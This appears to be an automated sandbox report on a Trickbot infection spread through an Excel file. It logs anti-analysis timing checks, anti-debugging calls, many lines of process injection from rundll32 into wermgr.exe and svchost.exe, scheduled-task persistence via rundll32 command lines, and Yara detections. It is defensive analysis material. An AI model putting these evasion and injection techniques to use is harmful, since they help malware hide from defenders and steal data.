Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Found evasive API chain (trying to detect sleep duration tampering with parallel thread)

Show sources

Source: C:\Windows\System32\wermgr.exe

Function Chain: threadCreated,threadDelayed,threadDelayed,userTimerSet,threadDelayed,threadDelayed,fileVolumeQueried,adjustToken,handleClosed,systemQueried,systemQueried,threadDelayed,handleClosed,threadDelayed,mutantCreated,threadInformationSet,threadInformationSet,languageOrLocalQueried,threadDelayed,threadDelayed,threadDelayed,threadInformationSet,threadInformationSet,systemQueried,systemQueried

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Windows\System32\wermgr.exe

RDTSC instruction interceptor: First address: 000000000006EAD0 second address: 000000000006EAD0 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 or eax, edx 0x00000009 ret 0x0000000a dec esp 0x0000000b mov edi, eax 0x0000000d call dword ptr [0000E3AEh] 0x00000013 jmp 00007F6EE4D30110h 0x00000015 jmp dword ptr [0007C47Ah] 0x0000001b mov ecx, dword ptr [7FFE0004h] 0x00000022 dec eax 0x00000023 mov eax, dword ptr [7FFE0320h] 0x0000002a dec eax 0x0000002b imul eax, ecx 0x0000002e dec eax 0x0000002f shr eax, 18h 0x00000032 ret 0x00000033 inc esp 0x00000034 mov esi, eax 0x00000036 dec ecx 0x00000037 mov esi, edi 0x00000039 dec eax 0x0000003a xor esi, FFFFFF00h 0x00000040 dec ecx 0x00000041 and esi, edi 0x00000043 call 00007F6EE4D27FA6h 0x00000048 rdtsc

Source: C:\Windows\System32\wermgr.exe

Code function: 6_2_0006EAD0 rdtsc

6_2_0006EAD0

Source: C:\Windows\System32\wermgr.exe

Code function: GetAdaptersInfo,

6_2_000784E0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\10[1].jjkes

Jump to dropped file

Source: C:\Windows\System32\taskeng.exe TID: 1288	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1464	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1464	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\wermgr.exe	Last function: Thread delayed
Source: C:\Windows\System32\wermgr.exe	Last function: Thread delayed

Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00061290 FindFirstFileW,FindNextFileW,	6_2_00061290
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_000646F0 FindFirstFileW,FindNextFileW,	6_2_000646F0
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_0007FBB0 FindFirstFileW,SleepEx,FindNextFileW,	6_2_0007FBB0

Source: C:\Windows\System32\svchost.exe

Code function: 10_2_00000001800836A4 GetSystemInfo,

10_2_00000001800836A4

Source: C:\Windows\System32\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Source: C:\Windows\System32\wermgr.exe

Code function: 6_2_0006EAD0 rdtsc

6_2_0006EAD0

Source: C:\Windows\System32\wermgr.exe

Code function: 6_2_00073070 LdrLoadDll,

6_2_00073070

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_6E15B044 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_6E15B044

Source: C:\Windows\System32\svchost.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E15B044 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_6E15B044
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E157DE5 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_6E157DE5
Source: C:\Windows\System32\wermgr.exe	Code function: 6_2_00082060 SetCurrentDirectoryW,SleepEx,SetTimer,RtlAddVectoredExceptionHandler,	6_2_00082060

HIPS / PFW / Operating System Protection Evasion:

Allocates memory in foreign processes

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe

Memory allocated: C:\Windows\System32\wermgr.exe base: 60000 protect: page execute and read and write

Jump to behavior

Hijacks the control flow in another process

Show sources

Source: C:\Windows\System32\wermgr.exe

Memory written: PID: 2296 base: 180106000 value: FF

Jump to behavior

Writes to foreign memory regions

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\wermgr.exe base: 60000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\System32\wermgr.exe base: FFC993F8	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 60000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 70000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: FF0E246C	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 180000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 70000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 180000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 70000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 180000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 70000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 180000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 180000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 180001000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 180001000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 1800DC000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 1800DC000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 180106000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 180106000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 18010C000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 18010C000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 180113000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 180113000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 20000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 180000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C0000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 2D0000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 70000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 180000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 2D0000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 300000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F30000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F50000	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Memory written: C:\Windows\System32\svchost.exe base: 70000	Jump to behavior

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\BASE.BABAA,DllRegisterServer	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\wermgr.exe C:\Windows\system32\wermgr.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\wermgr.exe C:\Windows\system32\wermgr.exe	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Windows\System32\rundll32.exe C:\Windows\system32\rundll32.EXE 'C:\Users\user\AppData\Roaming\QNetMonitor7737977537\rpBASEtx.rrd',DllRegisterServer	Jump to behavior

Source: wermgr.exe, 00000006.00000002.2357397155.0000000000860000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: wermgr.exe, 00000006.00000002.2357397155.0000000000860000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: wermgr.exe, 00000006.00000002.2357397155.0000000000860000.00000002.00000001.sdmp	Binary or memory string: !Progman

Language, Device and Operating System Detection:

Source: C:\Windows\System32\wermgr.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Windows\System32\taskeng.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Trickbot

Show sources

Source: Yara match

File source: Process Memory Space: wermgr.exe PID: 2408, type: MEMORY

Yara detected Trickbot

Show sources

Source: Yara match	File source: 00000004.00000002.2094061002.0000000000180000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2089754481.00000000006C4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2089764139.00000000006C4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2094284509.0000000000690000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2094761896.0000000002198000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.2.rundll32.exe.180000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.180000.0.unpack, type: UNPACKEDPE

